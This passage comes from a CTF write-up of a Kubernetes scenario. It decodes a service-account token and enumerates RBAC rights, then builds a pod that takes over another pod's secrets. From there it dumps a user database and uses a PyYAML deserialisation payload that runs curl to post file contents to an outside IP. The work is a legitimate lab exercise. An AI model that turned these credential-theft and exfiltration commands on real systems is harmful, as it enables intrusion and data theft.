ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNklsZG5NakJuVjNSWlZYbHRaRmxwUkV0bFFrc3RUVTE0Ympaak5HbFFSMnhhYlZSSlNXeG5PV05oZDNjaWZRLmV5SmhkV1FpT2xzaWFIUjBjSE02THk5cmRXSmxjbTVsZEdWekxtUmxabUYxYkhRdWMzWmpMbU5zZFhOMFpYSXViRzlqWVd3aVhTd2laWGh3SWpveE56TXhOVEk1TURVMUxDSnBZWFFpT2pFMk9UazVPVE13TlRVc0ltbHpjeUk2SW1oMGRIQnpPaTh2YTNWaVpYSnVaWFJsY3k1a1pXWmhkV3gwTG5OMll5NWpiSFZ6ZEdWeUxteHZZMkZzSWl3aWEzVmlaWEp1WlhSbGN5NXBieUk2ZXlKdVlXMWxjM0JoWTJVaU9pSndkV0pzYVdNdGMyVnlkbWxqWlhNaUxDSndiMlFpT25zaWJtRnRaU0k2SW5saGJXeHBaR0YwYjNJdE56aG1OMlJtWWpVNFppMWpOSEZyY2lJc0luVnBaQ0k2SWpKa016VTBabVZsTFRrNE0yRXROREkyT1MwNFlUWXhMVGxrWXpJNFpUazVaVGs1TnlKOUxDSnpaWEoyYVdObFlXTmpiM1Z1ZENJNmV5SnVZVzFsSWpvaWVXRnRiR2xrWVhSdmNpSXNJblZwWkNJNkltRXhOR1U0T1RoakxUTXdZelV0TkRrM1l5MDRZalZtTFRNNE9UVmpNVEF6TlRaa1ppSjlMQ0ozWVhKdVlXWjBaWElpT2pFMk9UazVPVFkyTmpKOUxDSnVZbVlpT2pFMk9UazVPVE13TlRVc0luTjFZaUk2SW5ONWMzUmxiVHB6WlhKMmFXTmxZV05qYjNWdWREcHdkV0pzYVdNdGMyVnlkbWxqWlhNNmVXRnRiR2xrWVhSdmNpSjkuaVVZN0dWYnVUeHFZdUdKNDJpYzdDbks0aFEwQ0d2ZlBhcVdvNHZkaEhXaGxTN3locHNrbTgtMXRQREhjclB2dU41NU1YX3FacGFaTnY0QURGa3FGOHEyMXdkVUZGNXl4d041WVM1cHgzeXdEb0F1ZGg0OGZxbFVabUV4N1VxcXdoVWpXOVd2R1dNdWtBQ1V6ODh6dFdnOVNfTEl6RlBydGl6MGhVdEd2bTRyWGFLa0tPY2dkbGFmdjZ4bWlJX3doNC01X3pybEhoUU1vcWNuTUFyTkJaTEYxUUJ4SXdpWkozU1Zpd2NHZHNzNWlvZkJSVmpmODBnS2RFckV6a29nU3k5UjhleG1nYjNMUXBHN0s2VzRyLXNWWWhPcVVONTJoU0dRMl9wMTlPeEJjbmF2TUVlQTEzOHpvT05ZRGt3NnQ4djU1Z2NaRmVIdVpiWjl3MXhORzBn
$ base64 -d <<< ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNklsZG5NakJuVjNSWlZYbHRaRmxwUkV0bFFrc3RUVTE0Ympaak5HbFFSMnhhYlZSSlNXeG5PV05oZDNjaWZRLmV5SmhkV1FpT2xzaWFIUjBjSE02THk5cmRXSmxjbTVsZEdWekxtUmxabUYxYkhRdWMzWmpMbU5zZFhOMFpYSXViRzlqWVd3aVhTd2laWGh3SWpveE56TXhOVEk1TURVMUxDSnBZWFFpT2pFMk9UazVPVE13TlRVc0ltbHpjeUk2SW1oMGRIQnpPaTh2YTNWaVpYSnVaWFJsY3k1a1pXWmhkV3gwTG5OMll5NWpiSFZ6ZEdWeUxteHZZMkZzSWl3aWEzVmlaWEp1WlhSbGN5NXBieUk2ZXlKdVlXMWxjM0JoWTJVaU9pSndkV0pzYVdNdGMyVnlkbWxqWlhNaUxDSndiMlFpT25zaWJtRnRaU0k2SW5saGJXeHBaR0YwYjNJdE56aG1OMlJtWWpVNFppMWpOSEZyY2lJc0luVnBaQ0k2SWpKa016VTBabVZsTFRrNE0yRXROREkyT1MwNFlUWXhMVGxrWXpJNFpUazVaVGs1TnlKOUxDSnpaWEoyYVdObFlXTmpiM1Z1ZENJNmV5SnVZVzFsSWpvaWVXRnRiR2xrWVhSdmNpSXNJblZwWkNJNkltRXhOR1U0T1RoakxUTXdZelV0TkRrM1l5MDRZalZtTFRNNE9UVmpNVEF6TlRaa1ppSjlMQ0ozWVhKdVlXWjBaWElpT2pFMk9UazVPVFkyTmpKOUxDSnVZbVlpT2pFMk9UazVPVE13TlRVc0luTjFZaUk2SW5ONWMzUmxiVHB6WlhKMmFXTmxZV05qYjNWdWREcHdkV0pzYVdNdGMyVnlkbWxqWlhNNmVXRnRiR2xrWVhSdmNpSjkuaVVZN0dWYnVUeHFZdUdKNDJpYzdDbks0aFEwQ0d2ZlBhcVdvNHZkaEhXaGxTN3locHNrbTgtMXRQREhjclB2dU41NU1YX3FacGFaTnY0QURGa3FGOHEyMXdkVUZGNXl4d041WVM1cHgzeXdEb0F1ZGg0OGZxbFVabUV4N1VxcXdoVWpXOVd2R1dNdWtBQ1V6ODh6dFdnOVNfTEl6RlBydGl6MGhVdEd2bTRyWGFLa0tPY2dkbGFmdjZ4bWlJX3doNC01X3pybEhoUU1vcWNuTUFyTkJaTEYxUUJ4SXdpWkozU1Zpd2NHZHNzNWlvZkJSVmpmODBnS2RFckV6a29nU3k5UjhleG1nYjNMUXBHN0s2VzRyLXNWWWhPcVVONTJoU0dRMl9wMTlPeEJjbmF2TUVlQTEzOHpvT05ZRGt3NnQ4djU1Z2NaRmVIdVpiWjl3MXhORzBn; echo
eyJhbGciOiJSUzI1NiIsImtpZCI6IldnMjBnV3RZVXltZFlpREtlQkstTU14bjZjNGlQR2xabVRJSWxnOWNhd3cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzMxNTI5MDU1LCJpYXQiOjE2OTk5OTMwNTUsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJwdWJsaWMtc2VydmljZXMiLCJwb2QiOnsibmFtZSI6InlhbWxpZGF0b3ItNzhmN2RmYjU4Zi1jNHFrciIsInVpZCI6IjJkMzU0ZmVlLTk4M2EtNDI2OS04YTYxLTlkYzI4ZTk5ZTk5NyJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoieWFtbGlkYXRvciIsInVpZCI6ImExNGU4OThjLTMwYzUtNDk3Yy04YjVmLTM4OTVjMTAzNTZkZiJ9LCJ3YXJuYWZ0ZXIiOjE2OTk5OTY2NjJ9LCJuYmYiOjE2OTk5OTMwNTUsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpwdWJsaWMtc2VydmljZXM6eWFtbGlkYXRvciJ9.iUY7GVbuTxqYuGJ42ic7CnK4hQ0CGvfPaqWo4vdhHWhlS7yhpskm8-1tPDHcrPvuN55MX_qZpaZNv4ADFkqF8q21wdUFF5yxwN5YS5px3ywDoAudh48fqlUZmEx7UqqwhUjW9WvGWMukACUz88ztWg9S_LIzFPrtiz0hUtGvm4rXaKkKOcgdlafv6xmiI_wh4-5_zrlHhQMoqcnMArNBZLF1QBxIwiZJ3SViwcGdss5iofBRVjf80gKdErEzkogSy9R8exmgb3LQpG7K6W4r-sVYhOqUN52hSGQ2_p19OxBcnavMEeA138zoONYDkw6t8v55gcZFeHuZbZ9w1xNG0g

Let’s see what this token can do.

elit3hex0r@public-terminal:/$ export TOKEN=eyJhbGciOiJSUzI1NiIsImtpZCI6IldnMjBnV3RZVXltZFlpREtlQkstTU14bjZjNGlQR2xabVRJSWxnOWNhd3cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzMxNTI5MDU1LCJpYXQiOjE2OTk5OTMwNTUsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJwdWJsaWMtc2VydmljZXMiLCJwb2QiOnsibmFtZSI6InlhbWxpZGF0b3ItNzhmN2RmYjU4Zi1jNHFrciIsInVpZCI6IjJkMzU0ZmVlLTk4M2EtNDI2OS04YTYxLTlkYzI4ZTk5ZTk5NyJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoieWFtbGlkYXRvciIsInVpZCI6ImExNGU4OThjLTMwYzUtNDk3Yy04YjVmLTM4OTVjMTAzNTZkZiJ9LCJ3YXJuYWZ0ZXIiOjE2OTk5OTY2NjJ9LCJuYmYiOjE2OTk5OTMwNTUsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpwdWJsaWMtc2VydmljZXM6eWFtbGlkYXRvciJ9.iUY7GVbuTxqYuGJ42ic7CnK4hQ0CGvfPaqWo4vdhHWhlS7yhpskm8-1tPDHcrPvuN55MX_qZpaZNv4ADFkqF8q21wdUFF5yxwN5YS5px3ywDoAudh48fqlUZmEx7UqqwhUjW9WvGWMukACUz88ztWg9S_LIzFPrtiz0hUtGvm4rXaKkKOcgdlafv6xmiI_wh4-5_zrlHhQMoqcnMArNBZLF1QBxIwiZJ3SViwcGdss5iofBRVjf80gKdErEzkogSy9R8exmgb3LQpG7K6W4r-sVYhOqUN52hSGQ2_p19OxBcnavMEeA138zoONYDkw6t8v55gcZFeHuZbZ9w1xNG0g
elit3hex0r@public-terminal:/$ alias k="kubectl --token $TOKEN"
elit3hex0r@public-terminal:/$ k get -A secret
Error from server (Forbidden): secrets is forbidden: User "system:serviceaccount:public-services:yamlidator" cannot list resource "secrets" in API group "" at the cluster scope
elit3hex0r@public-terminal:/$ k -n public-services auth can-i --list
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
namespaces                                      []                                    []               [get list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]
elit3hex0r@public-terminal:/$ k get ns
NAME               STATUS   AGE
backend            Active   3h33m
default            Active   3h34m
dex                Active   3h33m
frontend           Active   3h33m
kube-node-lease    Active   3h34m
kube-public        Active   3h34m
kube-system        Active   3h34m
kyverno            Active   3h33m
private-services   Active   3h33m
public             Active   3h33m
public-services    Active   3h33m
elit3hex0r@public-terminal:/$ k get ns | awk '{print $1}' | grep -v NAME | while read ns ; do echo $ns; kubectl --token $TOKEN -n $ns auth can-i --list | grep -vE '^ ' | grep -v selfsubject; echo; done
backend
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

default
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

dex
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]
services                                        []                                    []               [get list]

frontend
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

kube-node-lease
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

kube-public
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

kube-system
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

kyverno
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

private-services
Resources                                       Non-Resource URLs                     Resource Names   Verbs
pods/exec                                       []                                    []               [create]
pods                                            []                                    []               [get list create watch]
services                                        []                                    []               [get list patch update]
namespaces                                      []                                    []               [get list]

public
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

public-services
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

Ah nice, so it can exec into pods in the private-services namespace. Let’s see what pods are there, and which ones we can jump into.

elit3hex0r@public-terminal:/$ k get pods
NAME                            READY   STATUS    RESTARTS   AGE
secret-store-59785db8d6-j2qbz   1/1     Running   0          3h35m
elit3hex0r@public-terminal:/$ k get pods -o yaml
apiVersion: v1
items:
- apiVersion: v1
  kind: Pod
  metadata:
    name: secret-store-59785db8d6-j2qbz
    namespace: private-services
    [..SNIP..]
  spec:
    containers:
    - env:
      - name: DB_HOST
        value: pgsql.backend.svc.cluster.local
      - name: DB_USER
        value: secret-storer
      - name: DB_PASSWORD
        valueFrom:
          secretKeyRef:
            key: password
            name: ss-psql-pw
      - name: DB_NAME
        value: secretstore
      - name: DB_PORT
        value: "5432"
      - name: SSL_MODE
        value: disable
      - name: AUTH0_CLIENT_ID
        valueFrom:
          secretKeyRef:
            key: id
            name: client-id
      - name: AUTH0_DOMAIN
        value: http://dex.dex.svc.cluster.local:5556/dex
      image: docker.io/controlplaneoffsec/identity-theft:secret-store
      imagePullPolicy: IfNotPresent
      name: secret-store
      [..SNIP..]

OK, this seems to have some interesting environment variables from secrets. Considering we want to get to the identity databases, the database there looks appealing.

elit3hex0r@public-terminal:/$ k exec -ti secret-store-59785db8d6-j2qbz -- sh
error: Internal error occurred: error executing command in container: failed to exec in container: failed to start exec "ed93744b79fdc043edb8e30717cf35a1a95dd11501875dd3ebbf8ee8bb5ee4dc": OCI runtime exec failed: exec failed: unable to start container process: exec: "sh": executable file not found in $PATH: unknown
elit3hex0r@public-terminal:/$ k exec -ti secret-store-59785db8d6-j2qbz -- dash
error: Internal error occurred: error executing command in container: failed to exec in container: failed to start exec "332ebc054939beb1896b01810e0dc01310f5d0be9ecdb6365bde67dbe9eaed9c": OCI runtime exec failed: exec failed: unable to start container process: exec: "dash": executable file not found in $PATH: unknown
elit3hex0r@public-terminal:/$ k exec -ti secret-store-59785db8d6-j2qbz -- bash
error: Internal error occurred: error executing command in container: failed to exec in container: failed to start exec "8f51aa8332bf151a92ccd847763e80641a49a8f8d70c5c81aebb1ff6b4bdafea": OCI runtime exec failed: exec failed: unable to start container process: exec: "bash": executable file not found in $PATH: unknown

Unfortunately, the pod doesn’t seem to have a shell, and other common commands that don’t use a shell also get similar errors. This must by why we have create on pods, so we can make another with the same environment variables but this time with a shell.

apiVersion: v1
kind: Pod
metadata:
  name: testing1
  namespace: private-services
spec:
  containers:
  - name: testing
    image: skybound/net-utils
    env:
    - name: DB_HOST
      value: pgsql.backend.svc.cluster.local
    - name: DB_USER
      value: secret-storer
    - name: DB_PASSWORD
      valueFrom:
        secretKeyRef:
          key: password
          name: ss-psql-pw
    - name: DB_NAME
      value: secretstore
    - name: DB_PORT
      value: "5432"
    - name: SSL_MODE
      value: disable
    - name: AUTH0_CLIENT_ID
      valueFrom:
        secretKeyRef:
          key: id
          name: client-id
    - name: AUTH0_DOMAIN
      value: http://dex.dex.svc.cluster.local:5556/dex
    imagePullPolicy: IfNotPresent
    args: ["sleep", "100d"]

I know I know, I haven’t added my usual extra privileges as a give it a shot. But it deployed.

elit3hex0r@public-terminal:/tmp$ k apply -f pods.yml
pod/testing1 created
elit3hex0r@public-terminal:/tmp$ k get pods
NAME                            READY   STATUS              RESTARTS   AGE
secret-store-59785db8d6-j2qbz   1/1     Running             0          3h39m
testing1                        0/1     ContainerCreating   0          2s

Let’s see what those variables were

elit3hex0r@public-terminal:/tmp$ k exec -ti testing1 -- bash
root@testing1:/# env
DB_PASSWORD=persistentdatastore4pgsqlsecretstore
KUBERNETES_SERVICE_PORT_HTTPS=443
SECRET_STORE_PORT_5050_TCP_ADDR=10.108.190.176
KUBERNETES_SERVICE_PORT=443
HOSTNAME=testing1
SSL_MODE=disable
PWD=/
SECRET_STORE_SERVICE_HOST=10.108.190.176
SECRET_STORE_PORT_5050_TCP_PROTO=tcp
SECRET_STORE_PORT=tcp://10.108.190.176:5050
DB_PORT=5432
DB_USER=secret-storer
HOME=/root
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
AUTH0_DOMAIN=http://dex.dex.svc.cluster.local:5556/dex
TERM=xterm
DB_HOST=pgsql.backend.svc.cluster.local
SHLVL=1
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
DB_NAME=secretstore
AUTH0_CLIENT_ID=pod-checker
KUBERNETES_SERVICE_HOST=10.96.0.1
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SECRET_STORE_PORT_5050_TCP=tcp://10.108.190.176:5050
SECRET_STORE_SERVICE_PORT=5050
SECRET_STORE_PORT_5050_TCP_PORT=5050
_=/usr/bin/env
root@testing1:/# env | grep -i db
DB_PASSWORD=persistentdatastore4pgsqlsecretstore
DB_PORT=5432
DB_USER=secret-storer
DB_HOST=pgsql.backend.svc.cluster.local
DB_NAME=secretstore

We now have the database credentials, and host. It looks to be a postgres database, so lets quickly add the CLI to our container and try connecting.

root@testing1:/# apt update; apt install -y postgresql-client
[..SNIP..]
root@testing1:/# psql
psql: error: connection to server on socket "/var/run/postgresql/.s.PGSQL.5432" failed: No such file or directory
	Is the server running locally and accepting connections on that socket?
root@testing1:/# psql -h pgsql.backend.svc.cluster.local -U secret-storer -W secretstore
Password:
psql (15.5 (Debian 15.5-0+deb12u1), server 16.1)
WARNING: psql major version 15, server major version 16.
         Some psql features might not work.
Type "help" for help.

secretstore=# \d
                List of relations
 Schema |     Name     |   Type   |     Owner
--------+--------------+----------+---------------
 public | users        | table    | secret-storer
 public | users_id_seq | sequence | secret-storer
(2 rows)

secretstore=# select * from users;
 id | [..SNIP..] |           email            | first_name | last_name |                           password                           |                          secret
----+ [..SNIP..]-+----------------------------+------------+-----------+--------------------------------------------------------------+----------------------------------------------------------
  1 | [..SNIP..] | admin@pod-checker.local    | ultra      | violet    | $2a$12$24bkLznuL/O6ft/P3b7vN.HYIqaY89Qt6HgtBu/wS8HWhMX8hx/xe | cG9kY2hlY2tlcmF1dGg=
  2 | [..SNIP..] | flag@pod-checker.local     | ctf        | flag      | $2a$12$LM5WYZHdHRewu4GbEQl1KuqN5hHovSJ6LM2HFp6w6kEfvA6fSXh7i | ZmxhZ19jdGZ7T19JX0RDX1dIQVRfWU9VX0hBVkVfRE9ORV9USEVSRX0=
  3 | [..SNIP..] | db@pod-checker.local       | infra      | red       | $2a$12$ccDHd32K8.B1mU.RIzNn5.qwG7OfCjZ5ymzelyFEQtrgyPNXYBoue | ZGJzZWNyZXRzdG9yZWF1dGg=
  4 | [..SNIP..] | wakeward@pod-checker.local | kevin      | ward      | $2a$12$dYdWnuH0UQ3psIvM7I6/Mu6Zc2P3Hv3QFYOPm/FQrttpKm.q.Y7vq | aWhvcGV5b3VlbmpveWVkdGhpcyE=
(4 rows)

There looks to be a row for our first flag there. There also seems to be an extra column called secret. I wonder if that contains it.

root@testing1:/# base64 -d <<< ZmxhZ19jdGZ7T19JX0RDX1dIQVRfWU9VX0hBVkVfRE9ORV9USEVSRX0= ; echo
flag_ctf{O_I_DC_WHAT_YOU_HAVE_DONE_THERE}

Flag 2

Excellent. Now when submitting this flag.. this wasn’t the first flag, it was the second. Meaning I must have missed one somewhere. Probably the place I didn’t fully enumerate - the YAML deserialisation container. Going back and enumerating that container a tad more there looks to be another mount into /mnt as earlier.

!!python/object/apply:os.system
- curl 45.55.162.198:8080 -X POST -d $(find /mnt -type f |  tr '\n' ' ')
$ nc -nlvp 8080 
Listening on 0.0.0.0 8080
Connection received on 18.130.18.9 53937
POST / HTTP/1.1
Host: 45.55.162.198:8080
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 27
Content-Type: application/x-www-form-urlencoded

/mnt/snake-charmer/flag.txt

There is the final / first (which would it be here) flag. The below being the final payload.

!!python/object/apply:os.system
- curl 45.55.162.198:8080 -X POST -d $(base64 /mnt/snake-charmer/flag.txt | base64 | tr -d '\n')
$ nc -nlvp 8080
Listening on 0.0.0.0 8080
Connection received on 18.130.18.9 30308
POST / HTTP/1.1
Host: 45.55.162.198:8080
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 92
Content-Type: application/x-www-form-urlencoded

Wm14aFoxOWpkR1o3VlU1VFFVNUpWRWxUUlVSZlZWTkZVbDlKVGxCVlZGOVpRVTFNU1VSQlZFOVNYMUJYVGtWRWZRbz0K
$ base64 -d <<< Wm14aFoxOWpkR1o3VlU1VFFVNUpWRWxUUlVSZlZWTkZVbDlKVGxCVlZGOVpRVTFNU1VSQlZFOVNYMUJYVGtWRWZRbz0K
ZmxhZ19jdGZ7VU5TQU5JVElTRURfVVNFUl9JTlBVVF9ZQU1MSURBVE9SX1BXTkVEfQo=
$ base64 -d <<< Wm14aFoxOWpkR1o3VlU1VFFVNUpWRWxUUlVSZlZWTkZVbDlKVGxCVlZGOVpRVTFNU1VSQlZFOVNYMUJYVGtWRWZRbz0K | base64 -d
flag_ctf{UNSANITISED_USER_INPUT_YAMLIDATOR_PWNED}

End

Once again, ControlPlane ran an immensely fun CTF so massive props to them. As is common to see with their CTFs, each scenario had a sort of storyline within which is always good to see. I came out of this CTF with some ideas of new tooling I want to build to make life a tad easier come the next one, which is always good. As to how well I did, I was the first (and only) to complete all the scenarious in the timeframe :D But… I’ve run out of merch to collect from ControlPlane at this point.

Scoreboard